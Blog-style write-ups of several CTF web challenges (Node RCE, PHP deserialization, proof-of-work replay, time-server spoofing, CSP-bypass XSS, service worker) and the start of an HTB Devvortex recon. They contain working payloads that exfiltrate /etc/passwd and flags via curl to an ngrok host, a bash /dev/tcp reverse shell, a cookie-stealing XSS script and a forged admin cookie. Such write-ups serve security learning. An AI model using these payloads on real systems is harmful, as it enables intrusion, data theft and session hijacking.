The way i think here is to execute a command that sends any request to an ip i have and if i got the response then the RCE works.
On my local linux machine i started listening on port 4444 (the port at which i will wait for the request), but note that this port is local so the target can reach me.
As a solution i started ngrok using ngrok tcp 4444 which works as a forwared in this situation.
This command means that the public ip supplied from ngrok will forward the requests it gets to my localhost on port 4444.
I got IP:0.tcp.eu.ngrok.io port:17552 from ngrok, so any request to 0.tcp.eu.ngrok.io:17552 will be forward to localhost:4444.
when i try to use the payload
---js
((require("child_process")).execSync('curl http://0.tcp.eu.ngrok.io:17552'));
---RCE
i get
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59622
GET / HTTP/1.1
Host: e874-156-160-149-56.ngrok-free.app
User-Agent: curl/7.88.1
Accept: */*
X-Forwarded-For: 46.101.193.189
X-Forwarded-Host: e874-156-160-149-56.ngrok-free.app
X-Forwarded-Proto: https
Accept-Encoding: gzip
So there’s RCE and works well, I tried to get a reverse shell but i couldn’t during the ctf, so i tried LFI.
After attempts i used this payload
---js
((require("child_process")).execSync('curl -X POST --data-binary "@/etc/passwd" http://0.tcp.eu.ngrok.io:17552'));
---RCE
and i got the content of /etc/passwd
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35736
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:17552
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 972
Content-Type: application/x-www-form-urlencoded
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
nodez:x:1001:1001::/home/nodez:/bin/bash
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
I could read /flag but with small modification because it was an executable file with exec permissions only
---js
((require("child_process")).execSync('curl -X POST --data-binary "$(/flag)" http://0.tcp.eu.ngrok.io:17552'));
---RCE
I got
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36472
POST / HTTP/1.1
Host: 0.tcp.eu.ngrok.io:17552
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Congratulations, this is the flag location: /tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt
Now i can read the flag using
---js
((require("child_process")).execSync('curl -X POST --data-binary "@/tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt" http://0.tcp.eu.ngrok.io:17552'));
---RCE
and congratz you got the flag
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53184
POST /? HTTP/1.1
Host: 5.tcp.eu.ngrok.io:14819
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
EGCERT{3e20ba_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35}
Beyond flag
The other way which is getting the reverse shell is easier i got it but before the ctf using the command
---js
((require("child_process")).execSync('bash -c "bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/17552 0>&1"'))
---RCE
Then on the listening port i got a reverse shell and did that
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44750
nodez@8372928b8e00:/usr/src/app$ /flag
/flag
Congratulations, this is the flag location: /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
nodez@8372928b8e00:/usr/src/app$ cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt
EGCERT{3c5330_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35}
I also checked the permissions of /flag and the real flag to verify the reason why i couldn’t read /flag like the real flag or /etc/passwd and found this
nodez@8372928b8e00:/usr/src/app$ ls -la /
ls -la /
total 112
drwxr-xr-x 1 root root 4096 Jun 26 07:08 .
drwxr-xr-x 1 root root 4096 Jun 26 07:08 ..
-rwxr-xr-x 1 root root 0 Jun 26 07:08 .dockerenv
lrwxrwxrwx 1 root root 7 Jun 12 00:00 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Jan 28 21:20 boot
drwxr-xr-x 5 root root 360 Jun 26 07:08 dev
drwxr-xr-x 1 root root 4096 Jun 26 07:08 etc
---x--x--x 1 root root 17136 Jun 23 11:51 flag
drwxr-xr-x 1 root root 4096 Jun 22 01:20 home
lrwxrwxrwx 1 root root 7 Jun 12 00:00 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jun 12 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Jun 12 00:00 media
drwxr-xr-x 2 root root 4096 Jun 12 00:00 mnt
drwxr-xr-x 1 root root 4096 Jun 21 01:03 opt
dr-xr-xr-x 214 root root 0 Jun 26 07:08 proc
drwx------ 1 root root 4096 Jun 23 11:51 root
drwxr-xr-x 1 root root 4096 Jun 13 03:40 run
lrwxrwxrwx 1 root root 8 Jun 12 00:00 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jun 12 00:00 srv
dr-xr-xr-x 13 root root 0 Jun 26 07:08 sys
drwxrwx-wt 1 root root 20480 Jun 27 18:29 tmp
drwxr-xr-x 1 root root 4096 Jun 12 00:00 usr
drwxr-xr-x 1 root root 4096 Jun 12 00:00 var
nodez@8372928b8e00:/tmp$ ls -la /tmp/51eb18c330994e86115669c71e960ecd
ls -la /tmp/51eb18c330994e86115669c71e960ecd
total 28
drwx------ 2 nodez nodez 4096 Jun 27 18:30 .
drwxrwx-wt 1 root root 20480 Jun 27 18:30 ..
-rw-r--r-- 1 nodez nodez 52 Jun 27 18:30 flag_QXIZVN.txt
the /flag file has only exec permissions unlike the flag text file and /etc/passwd which are readable and don’t have exec permissions
I wish the write up was useful
Thanks for reading ^^
-
Web: Hidden In Plain Sight
Solution
when we start we see a simple login page
When i go to /robots.txt i found this
User-agent: *
Disallow: /s3cr3t_b4ckup
when you go to /s3cr3t_b4ckup you will be able to download the source code
the code config.php whose content is
<?php
$valid_username = 'guest';
$valid_password = 'guest@123456';
?>
This is very good i used this credential to login
we have also login.php which contains
<?php
include("config.php");
class User {
public $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === $valid_username && $password === $valid_password) {
$user= new User($username, $password);
$cookie_value = base64_encode(serialize($user));
setcookie('login', $cookie_value, time() + 3600, '/');
header('Location: profile.php');
exit();
} else {
$error_message = 'Invalid username or password.';
}
}
?>
The interesting info here that the cookie is formed by calculating base64 of the serialized object of the logged in user.
so if we decode out current cookie it becomes O:4:"User":2:{s:8:"username";s:5:"guest";s:14:"Userpassword";s:12:"guest@123456";}
It’s corresponding to a user object with the credential we used.
for more understanding of how the php serialized object created here
in the src code there’s also profile.php which contains
<?php
include("flag.php");
include("config.php");
include("user.php");
if (isset($_COOKIE['login'])) {
$user = unserialize(base64_decode($_COOKIE['login']));
if ($user instanceof User) {
if ($user->is_admin()) {
$welcome_message= "Welcome, admin! <br> $flag";
} else {
$welcome_message= 'Hello, ' . htmlspecialchars($user->username);
}
}
else {
header('Location: index.php');
exit();
}
}
else {
header('Location: index.php');
exit();
}
?>
from this code we see that the flag will appear if the logged in user is instance of user and is_admin() returns True
This function is tested on the cookie after decoding and unserializing the cookie (returning it to object).
The last file in src code is user.php whose content is
<?php
class User {
public $username;
private $isAdmin = false;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function getPassword() {
return $this->password;
}
public function getUsername() {
return $this->username;
}
public function is_admin() {
return $this->isAdmin;
}
}
?>
we see that is_admin() returns True if isAdmin attribute equals True.
So our idea here is updating the cookie by adding isAdmin attribute and setting it to True.
Note the validation to render the flag is done in isAdmin only, so we don’t need the username, etc … (including them isn’t a problem but i will ignore them xD)
So the serialized object here became O:4:"User":1:{s:7:"isAdmin";b:1;}
digging the serialized object
O: object
4: object name length (needed for parsing)
User: object name
1: number of object attributes
s: string
7: string's name length
isAdmin: string's name
b: boolean
1: true
encode it and add it in the browser cookie or burp and you will get the flag
Congratzzzz
-
Web: pow (easy)
Description
compute hash to get your flag.
Flag Format: FLAG{…}
Solution
When we first open the challange we see this
The checking works as a counter and works according to this js script
function hash(input) {
let result = input;
for (let i = 0; i < 10; i++) {
result = CryptoJS.SHA256(result);
}
return (result.words[0] & 0xFFFFFF00) === 0;
}
async function send(array) {
document.getElementById("server-response").innerText = await fetch(
"/api/pow",
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(array),
}
).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
await send([]);
async function loop() {
document.getElementById(
"client-status"
).innerText = `Checking ${i.toString()}...`;
localStorage.setItem("pow_progress", i.toString());
for (let j = 0; j < 1000; j++) {
i++;
if (hash(i.toString())) {
await send([i.toString()]);
}
}
requestAnimationFrame(loop);
}
loop();
}
main();
When the counter reaches a number such that (number & 0xFFFFFF00) === 0
The progress increases by one and also this request will be caught by burp
and when we resend the same request the progress increase as we caught one of the desired numbers
we can also make the array contains the same element multiple times and the progress will increase depending on the occurance of the number, but the array had limit about 50000 after that we get error invalid body
Note that in case of too many requests we get Rate limit reached and status code 429 in this case we should wait.
Let’s make a python script that sends the same request 1000000 times to complete the progress and get the flag
import requests
import json
import logging
import time
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler("pow_script.log"),
logging.StreamHandler()
]
)
# Constants
URL = "https://web-pow-lz56g6.wanictf.org/api/pow"
COOKIE = "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJjNWRiNjU1MC1lNTNlLTRiNjUtYTM3NC05MDUzNjk0YmY2YzgifQ.wOrQhP5rjdXj4VsR1IqBe-HqX3aRXYRiNS_Tt2Y05eA"
# Create the payload
payload = ["82738388"] * 50000 # Max i was able to send without getting the error invalid body, must be an array of strings
# Headers
headers = {
"Host": "web-pow-lz56g6.wanictf.org",
"Cookie": COOKIE,
"Sec-Ch-Ua": '"Chromium";v="15", "Not.A/Brand";v="24"',
"Sec-Ch-Ua-Platform": '"Linux"',
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Priority": "u=1, i"
}
def send_data():
response = requests.post(URL, headers=headers, data=json.dumps(payload))
return response
def main():
while True:
try:
response = send_data()
if response.status_code == 200:
logging.info(f"Data sent successfully. Server response: {response.text}")
elif response.status_code == 429:
logging.warning("Rate limit reached. Waiting for 30 seconds.")
time.sleep(30) # Wait for 30 seconds before retrying
else:
logging.error(f"Error sending data: {response.status_code} - {response.text}")
except Exception as e:
logging.error(f"Exception occurred: {str(e)}")
if __name__ == "__main__":
main()
and here is the output
2024-06-23 12:27:29,911 - INFO - Data sent successfully. Server response: progress: 50003 / 1000000
2024-06-23 12:27:33,215 - INFO - Data sent successfully. Server response: progress: 100003 / 1000000
2024-06-23 12:27:44,163 - INFO - Data sent successfully. Server response: progress: 150003 / 1000000
2024-06-23 12:27:47,618 - INFO - Data sent successfully. Server response: progress: 200003 / 1000000
2024-06-23 12:27:54,285 - INFO - Data sent successfully. Server response: progress: 250003 / 1000000
2024-06-23 12:28:01,104 - INFO - Data sent successfully. Server response: progress: 300003 / 1000000
2024-06-23 12:28:06,494 - INFO - Data sent successfully. Server response: progress: 350003 / 1000000
2024-06-23 12:28:10,626 - INFO - Data sent successfully. Server response: progress: 400003 / 1000000
2024-06-23 12:28:20,049 - INFO - Data sent successfully. Server response: progress: 450003 / 1000000
2024-06-23 12:28:26,677 - INFO - Data sent successfully. Server response: progress: 500003 / 1000000
2024-06-23 12:28:33,457 - INFO - Data sent successfully. Server response: progress: 550003 / 1000000
2024-06-23 12:28:38,442 - INFO - Data sent successfully. Server response: progress: 600003 / 1000000
2024-06-23 12:28:46,195 - INFO - Data sent successfully. Server response: progress: 650003 / 1000000
2024-06-23 12:28:52,165 - INFO - Data sent successfully. Server response: progress: 700003 / 1000000
2024-06-23 12:29:00,487 - INFO - Data sent successfully. Server response: progress: 750003 / 1000000
2024-06-23 12:29:05,970 - INFO - Data sent successfully. Server response: progress: 800003 / 1000000
2024-06-23 12:29:10,849 - INFO - Data sent successfully. Server response: progress: 850003 / 1000000
2024-06-23 12:29:16,914 - INFO - Data sent successfully. Server response: progress: 900003 / 1000000
2024-06-23 12:29:22,720 - INFO - Data sent successfully. Server response: progress: 950003 / 1000000
2024-06-23 12:29:24,469 - INFO - Data sent successfully. Server response: FLAG{N0nCE_reusE_i$_FUn}
Congratzzzzzzzzzzzzz
-
Web: One Day One Letter (normal)
Description
Everything comes to those who wait.
Flag Format: FLAG{…}
Solution
in This challange we have Time server and content server
The time server
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = pubkey
self.wfile.write(res_body.encode('utf-8'))
self.requestline
else:
timestamp = str(int(time.time())-60*60*24).encode('utf-8')
h = SHA256.new(timestamp)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/json; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
self.wfile.write(res_body.encode('utf-8'))
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()
The time server generates the current timestamp and signs with specific ECC key
The conent server
import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)
def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey'))
with urlopen(req) as res:
key_text = res.read().decode('utf-8')
return ECC.import_key(key_text)
def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12
idx = timestamp // (60*60*24) % 12
content[idx] = FLAG_CONTENT[idx]
return 'FLAG{' + ''.join(content) + '}'
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def do_POST(self):
try:
nbytes = int(self.headers.get('content-length'))
body = json.loads(self.rfile.read(nbytes).decode('utf-8'))
timestamp = body['timestamp'].encode('utf-8')
signature = bytes.fromhex(body['signature'])
timeserver = body['timeserver']
pubkey = get_pubkey_of_timeserver(timeserver)
h = SHA256.new(timestamp)
verifier = DSS.new(pubkey, 'fips-186-3')
verifier.verify(h, signature)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
dt = datetime.fromtimestamp(int(timestamp))
res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
self.wfile.write(res_body.encode('utf-8'))
self.requestline
except Exception:
self.send_response(HTTPStatus.UNAUTHORIZED)
self.end_headers()
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()
In the content server when we post the timestamp, signature and time server then it sends request to the timeserver to /pubkey endpoint to get the public key and then it verifies the signature using this key
So u don’t need to think about the encrpytion as the content server does its magic alone u just sent him the time server which you will control in the json and he will ask the time server for the key without any problems
Steps:
run the time server locally
run ngroc using ngroc http 5001
we used ngroc because the content server can’t see our local time server so ngroc works as port forwarder in the middle and we used port 5001 as it’s the port we use in the time server and http because it supports https
and we need https because the content server has this line req = Request(urljoin('https://' + timeserver, 'pubkey')) and we see that it uses https with the time server
you can send get request to get specific timestamp and the signature
In the content server we POST the timestamp and signature we got and also the time server will be the ngroc IP as it’s our new time server and it works !!
we can now get the whole flag as we control the time server by adding 606024 to the timestamp which equals one day in seconds
repeat this until u get the flag: FLAG{lyingthetime}
Congratzzzzz
-
Web: Noscript (normal)
Description
Ignite it to steal the cookie!
Flag Format: FLAG{…}
Solution
We have the source code of this challange
This is the main
package main
import (
"context"
"fmt"
"html/template"
"net/http"
"os"
"regexp"
"sync"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"github.com/redis/go-redis/v9"
)
type InMemoryDB struct {
data map[string][2]string
mu sync.RWMutex
}
func NewInMemoryDB() *InMemoryDB {
return &InMemoryDB{
data: make(map[string][2]string),
}
}
func (db *InMemoryDB) Set(key, value1, value2 string) {
db.mu.Lock()
defer db.mu.Unlock()
db.data[key] = [2]string{value1, value2}
}
func (db *InMemoryDB) Get(key string) ([2]string, bool) {
db.mu.RLock()
defer db.mu.RUnlock()
vals, exists := db.data[key]
return vals, exists
}
func (db *InMemoryDB) Delete(key string) {
db.mu.Lock()
defer db.mu.Unlock()
delete(db.data, key)
}
func main() {
ctx := context.Background()
db := NewInMemoryDB()
redisAddr := fmt.Sprintf("%s:%s", os.Getenv("REDIS_HOST"), os.Getenv("REDIS_PORT"))
redisClient := redis.NewClient(&redis.Options{
Addr: redisAddr,
})
r := gin.Default()
r.LoadHTMLGlob("templates/*")
// Home page
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"title": "Noscript!",
})
})
// Sign in
r.POST("/signin", func(c *gin.Context) {
id := uuid.New().String()
db.Set(id, "test user", "test profile")
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
})
// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
params := map[string]interface{}{
"id": id,
"username": val[0],
"profile": template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Modify user profiles
r.POST("/user/:id/", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if _, ok := db.Get(id); ok {
username := c.PostForm("username")
profile := c.PostForm("profile")
db.Delete(id)
db.Set(id, username, profile)
if _, ok := db.Get(id); ok {
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Get username API
r.GET("/username/:id", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
_, _ = c.Writer.WriteString(val[0])
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
// Report API
r.POST("/report", func(c *gin.Context) {
url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d"
re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(url) {
if err := redisClient.RPush(ctx, "url", url).Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
_, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>")
} else {
_, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>")
}
})
if err := r.Run(); err != nil {
panic(err)
}
}
It has many functionalities
POST /signin will signin for us a new user and it will generate its id directly then forward us to /user/id
GET /user/:id It’s like user page contains data like username & profile (content security policy applied here)
POST /user/:id Here we can modify the username and the profile of the user
GET /username/:id It’s like user page contains data like username & profile (no content security policy here)
POST /report It accepts url parameter which is /user/:id and there’s a crawler within the source code indicating that after reporting the /user/:id is fetched by the bot
The code of the crawler
const { chromium } = require("playwright");
const Redis = require("ioredis");
const connection = new Redis({
host: process.env.REDIS_HOST,
port: process.env.REDIS_PORT,
});
const APP_URL = process.env.APP_URL; // application URL
const HOST = process.env.HOST; // HOST
const FLAG = process.env.FLAG; // FLAG
const crawl = async (path) => {
const browser = await chromium.launch();
const page = await browser.newPage();
const cookie = [
{
name: "flag",
value: FLAG,
domain: HOST,
path: "/",
expires: Date.now() / 1000 + 100000,
},
];
page.context().addCookies(cookie);
try {
await page.goto(APP_URL + path, {
waitUntil: "domcontentloaded",
timeout: 3000,
});
await page.waitForTimeout(1000);
await page.close();
} catch (err) {
console.error("crawl", err.message);
} finally {
await browser.close();
console.log("crawl", "browser closed");
}
};
(async () => {
while (true) {
console.log(
"[*] waiting new url",
await connection.get("queued_count"),
await connection.get("proceeded_count"),
);
await connection
.blpop("url", 0)
.then((v) => {
const path = v[1];
console.log("crawl", path);
return crawl(path);
})
.then(() => {
console.log("crawl", "finished");
return connection.incr("proceeded_count");
})
.catch((e) => {
console.log("crawl", e);
});
}
})();
let’s see the site now
When we first open the challange we see this
when we click sign in it makes POST /signin and forwards us to /user/id
fromn the code, the profile parameter is transelated as html entity "profile": template.HTML(val[1]) and we can see that in case we gave it value like <script>alert()</script> and this won’t happen to the username as it’s treated as normal string
No alert Triggered cuz of the content security policy
but in /username/id There’s no content security policy and it renders the value stored in the username so when we visit this endpoint the alert will be triggered
Very Nice notes !!
Back to Home page and you will see submit to admin which accepts /user/:id and reports this page to the admin and the admin bot(crawler) will fetch this page.
The problem the there’s content security policy on /user/:id so there’s no xss triggered when the admin bot fetches this page.
After looking at the code we can find that the content security policy is "default-src 'self', script-src 'none' which means that the resources which can loaded are from the same origin, so the profile parameter if we try using html entity that visits malicious this won’t work cuz the site must be in the same origin.
The idea here is making The html entity in the profile visits /username/:id which doesn’t have any csp applied and the xss payload existing in the username can be triggered.
So we can put XSS payload to steal cookie in the username field and in the profile field we put HTML entity that makes the crawler fetch /username/:id and triggers the XSS
After trying we will find these parameters will work
Username: <script>var i=new Image(); i.src="http://ngroc_ip:ngroc_port/?cookie="+btoa(document.cookie);</script>
Profile: <iframe src="/username/:id"></iframe>
we will start ngroc using ngroc tcp 4444
then listen on port 4444
after reporting we will find this the cookie on the port 4444
Congratzzzzzzzzzz
-
Web: Bad_Worker (beginner)
Description
We created a web application that works offline.
Flag Format: FLAG{…}
Solution
When we first open the challange we see this
After movement within the site, I found nothing interesting.
Then i went to examine the JS files within the site.
I found a file named service-worker.js with the content
// Caution! Be sure you understand the caveats before publishing an application with
// offline support. See https://aka.ms/blazor-offline-considerations
self.importScripts('./service-worker-assets.js');
self.addEventListener('install', event => event.waitUntil(onInstall(event)));
self.addEventListener('activate', event => event.waitUntil(onActivate(event)));
self.addEventListener('fetch', event => event.respondWith(onFetch(event)));
const cacheNamePrefix = 'offline-cache-';
const cacheName = `${cacheNamePrefix}${self.assetsManifest.version}`;
const offlineAssetsInclude = [ /\.dll$/, /\.pdb$/, /\.wasm/, /\.html/, /\.js$/, /\.json$/, /\.css$/, /\.woff$/, /\.png$/, /\.jpe?g$/, /\.gif$/, /\.ico$/, /\.blat$/, /\.dat$/ ];
const offlineAssetsExclude = [ /^service-worker\.js$/ ];
async function onInstall(event) {
//console.info('Service worker: Install');
// Fetch and cache all matching items from the assets manifest
const assetsRequests = self.assetsManifest.assets
.filter(asset => offlineAssetsInclude.some(pattern => pattern.test(asset.url)))
.filter(asset => !offlineAssetsExclude.some(pattern => pattern.test(asset.url)))
.map(asset => new Request(asset.url, { integrity: asset.hash, cache: 'no-cache' }));
await caches.open(cacheName).then(cache => cache.addAll(assetsRequests));
event.waitUntil(self.skipWaiting()); // すぐにactivateにする
}
async function onActivate(event) {
// Delete unused caches
const cacheKeys = await caches.keys();
await Promise.all(cacheKeys
.filter(key => key.startsWith(cacheNamePrefix) && key !== cacheName)
.map(key => caches.delete(key)));
event.waitUntil(self.clients.claim()); // すぐにserviceWorkerを有効にする
}
async function onFetch(event) {
let cachedResponse = null;
if (event.request.method === 'GET') {
const shouldServeIndexHtml = event.request.mode === 'navigate';
let request = event.request;
if (request.url.toString().includes("FLAG.txt")) {
request = "DUMMY.txt";
}
if (shouldServeIndexHtml) {
request = "index.html"
}
return fetch(request);
}
return cachedResponse || fetch(event.request);
}
/* Manifest version: Rq/NTVa4 */
So We need to send a GET request to /FLAG.txt endpoint and we will get the flag
Congratzzzzzzzzzzzzzzz
-
-
Devvortex
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ nmap -sV -sC -Pn -oA devvortex 10.10.11.242
Nmap scan report for 10.10.11.242
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
we see that there’s a web service on port 80 and there’s a domain devvortex.htb should be submitted in /etc/hosts file
when we add the domain to /etc/hosts we can visit the site now
After examining the site you won’t find any interesting thing so let’s do more reconnaisance.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ gobuster dir -u http://10.10.11.242/ -w ~/Desktop/tools/SecLists/Discovery/Web-Content/raft-small-directories.txt -b 302
but I got no useful results, so let’s try subdomain enumeration
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ ffuf -u http://10.10.11.242 -H "Host: FUZZ.devvortex.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 153ms]
shell as www-data
We found a subdomain here which is dev.devvortex.htb. let’s add it to /etc/hosts file and visit the subdomain.
